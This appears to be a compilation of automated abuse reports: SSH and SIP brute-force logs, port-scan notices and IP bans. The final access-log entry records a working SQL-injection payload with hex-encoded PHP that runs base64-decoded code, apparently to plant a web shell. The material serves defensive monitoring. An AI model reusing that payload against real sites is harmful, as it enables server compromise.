Jul 27 13:41:35 server sshd\[12681\]: User root from 192.162.237.36 not allowed because listed in DenyUsers
Jul 27 13:41:35 server sshd\[12681\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.162.237.36  user=root
Jul 27 13:41:37 server sshd\[12681\]: Failed password for invalid user root from 192.162.237.36 port 33634 ssh2
Jul 27 13:46:22 server sshd\[14569\]: User root from 192.162.237.36 not allowed because listed in DenyUsers
Jul 27 13:46:22 server sshd\[14569\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.162.237.36  user=root

590 attacks on PHP URLs:
112.213.105.101 - - [26/Jul/2019:06:41:56 +0100] "POST /index.php HTTP/1.1" 403 9

\[2019-07-27 06:34:58\] NOTICE\[2288\] chan_sip.c: Registration from '\' failed for '5.62.41.159:3293' - Wrong password
\[2019-07-27 06:34:58\] SECURITY\[2326\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-07-27T06:34:58.702-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="9445",SessionID="0x7ff4d0447758",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/5.62.41.159/57664",Challenge="0fb95816",ReceivedChallenge="0fb95816",ReceivedHash="20f78f3d2b92218726f44c7beee54fe4"
\[2019-07-27 06:35:34\] NOTICE\[2288\] chan_sip.c: Registration from '\' failed for '5.62.41.159:3331' - Wrong password
\[2019-07-27 06:35:34\] SECURITY\[2326\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-07-27T06:35:34.883-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="1629",SessionID="0x7ff4d00a7228",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/5.62.41.159/55326

Jul 27 07:19:27 xxx sshd[17150]: Invalid user ubnt from 183.88.193.73
Jul 27 07:19:27 xxx sshd[17151]: Invalid user ubnt from 183.88.193.73
Jul 27 07:19:30 xxx sshd[17150]: Failed password for invalid user ubnt from 183.88.193.73 port 63073 ssh2
Jul 27 07:19:30 xxx sshd[17151]: Failed password for invalid user ubnt from 183.88.193.73 port 65300 ssh2
Jul 27 07:19:34 xxx sshd[17155]: Invalid user UBNT from 183.88.193.73


........
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https://www.blocklist.de/en/view.html?ip=183.88.193.73

kp-sea2-01 recorded 2 login violations from 221.181.24.246 and was blocked at 2019-07-27 09:34:38. 221.181.24.246 has been blocked on 2 previous occasions. 221.181.24.246's first attempt was recorded at 2019-06-25 09:24:12

Automatic report - Port Scan Attack

Jul 27 08:08:12 srv-4 sshd\[15570\]: Invalid user admin from 113.172.194.240
Jul 27 08:08:12 srv-4 sshd\[15570\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=113.172.194.240
Jul 27 08:08:14 srv-4 sshd\[15570\]: Failed password for invalid user admin from 113.172.194.240 port 59796 ssh2
...

Jul 26 01:48:09 itv-usvr-01 sshd[19803]: Invalid user ericsson from 45.168.64.10
Jul 26 01:48:09 itv-usvr-01 sshd[19803]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.168.64.10
Jul 26 01:48:09 itv-usvr-01 sshd[19803]: Invalid user ericsson from 45.168.64.10
Jul 26 01:48:11 itv-usvr-01 sshd[19803]: Failed password for invalid user ericsson from 45.168.64.10 port 42102 ssh2
Jul 26 01:53:57 itv-usvr-01 sshd[20030]: Invalid user lj from 45.168.64.10

Automatic report - Banned IP Access

20 attempts against mh-ssh on star.magehost.pro

Autoban   95.90.229.253 AUTH/CONNECT

Port scan on 7 port(s): 6019 6032 6125 6170 6407 6418 6541

Jul 27 11:18:16 mail sshd\[17001\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.255.174.215  user=root
Jul 27 11:18:17 mail sshd\[17001\]: Failed password for root from 51.255.174.215 port 55599 ssh2
...

libpam_shield report: forced login attempt

104.148.105.4 - - [27/Jul/2019:04:09:35 -0400] "GET /user.php?act=login HTTP/1.1" 301 250 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:288:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
...